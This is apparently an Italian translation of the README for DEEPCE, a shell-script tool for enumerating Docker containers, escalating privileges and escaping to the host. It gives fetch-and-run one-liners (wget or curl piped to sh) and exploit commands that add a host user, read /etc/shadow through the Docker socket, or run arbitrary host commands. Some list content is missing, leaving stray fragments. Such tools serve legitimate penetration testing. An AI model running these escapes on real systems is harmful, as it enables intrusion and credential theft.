
# Enumerazione Docker, Escalation dei Privilegi e Fughe dal Container (DEEPCE)
## .
## ## ## ==
## ## ## ## ===
/"""""""""""""""""\___/ ===
~~~ {~~ ~~~~ ~~~ ~~~~ ~~~ ~ / ===- ~~~
\______ X __/
\ \ __/
\____\_______/
__
____/ /__ ___ ____ ________
/ __ / _ \/ _ \/ __ \/ ___/ _ \ ENUMERATE
/ /_/ / __/ __/ /_/ / (__/ __/ ESCALATE
\__,_/\___/\___/ .___/\___/\___/ ESCAPE
/_/
Enumerazione Docker, Escalation dei privilegi e fughe dai container (DEEPCE)
Per essere compatibile con il numero massimo di container, DEEPCE è scritto in puro sh e non ha dipendenze. Utilizzerà strumenti aggiuntivi come curl, nmap, nslookup e dig se disponibili, ma per la maggior parte non dipende da essi per l'enumerazione.
Nessuna delle enumerazioni dovrebbe toccare il disco, tuttavia la maggior parte degli exploit crea nuovi container, il che comporterà scritture su disco, e alcuni exploit sovrascriveranno runC, il che può essere distruttivo, quindi fai attenzione!
Di seguito è riportato l'elenco delle enumerazioni, degli exploit e dei payload che DEEPCE può utilizzare. Se hai altre idee, apri una issue su GitHub!
DEEPCE può essere scaricato su un host o un container utilizzando uno dei seguenti one-liner. Consiglio: scaricalo in /dev/shm per evitare di toccare il disco.
wget https://github.com/stealthcopter/deepce/raw/main/deepce.sh
curl -sL https://github.com/stealthcopter/deepce/raw/main/deepce.sh -o deepce.sh
# Or using python requests
python -c 'import requests;print(requests.get("https://github.com/stealthcopter/deepce/raw/main/deepce.sh").content)' > deepce.sh
python3 -c 'import requests;print(requests.get("https://github.com/stealthcopter/deepce/raw/main/deepce.sh").content.decode("utf-8"))' > deepce.sh
Se ami quello che sto facendo con Deepce e i miei altri progetti, ora puoi supportare direttamente il mio lavoro! Offrendomi un caffè ☕, non stai solo alimentando il mio bisogno di caffeina – mi stai aiutando a dedicare più tempo allo sviluppo e al miglioramento di questi progetti open source. Ogni caffè conta e porta più innovazione nel mondo della cybersecurity. Grazie per il tuo supporto: significa moltissimo per me e per la comunità open source!
Per altri screenshot, consulta la cartella docs

La seguente è la lista delle enumerazioni eseguite da DEEPCE.
Per ciascuno degli exploit sopra indicati è possibile definire dei payload per sfruttare il sistema host. Questi includono:
# Make the script executable and then run it
chmod +x ./deepce.sh
./deepce.sh
I seguenti esempi mostrano i diversi tipi di exploit che possono essere eseguiti e i payload disponibili.
./deepce.sh --no-enumeration --exploit PRIVILEGED --username deepce --password deepce
/etc/shadow./deepce.sh --no-enumeration --exploit SOCK --shadow
./deepce.sh --no-enumeration --exploit DOCKER --command "whoami>/tmp/hacked"
È possibile scaricare ed eseguire deepce senza toccare il disco, ma non potrai impostare facilmente gli argomenti (la manipolazione diretta delle variabili è possibile usando export).
wget -O - https://github.com/stealthcopter/deepce/raw/main/deepce.sh | sh
curl -sL https://github.com/stealthcopter/deepce/raw/main/deepce.sh | sh
Esistono alcuni ottimi script di enumerazione/escape dei container e strumenti di enumerazione da cui ho tratto ispirazione scrivendo questo strumento. Tuttavia, ho sentito la necessità di scriverne uno puramente in sh per evitare di dover installare dipendenze go/ruby o dipendere da un binario statico. Volevo anche essere in grado di eseguire più enumerazioni per cercare di scoprire cosa sia il container Docker, dato che durante un test potremmo ritrovarci all'interno di un container sconosciuto. Il numero di cose che questo script può enumerare mi è sfuggito di mano: ogni volta che aggiungevo qualcosa di nuovo, pensavo ad altre cose aggiuntive da aggiungere.
Sviluppatori in cerca di suggerimenti sulla sicurezza Docker https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/Docker_Security_Cheat_Sheet.md
Accetto volentieri pull request, issue e feedback.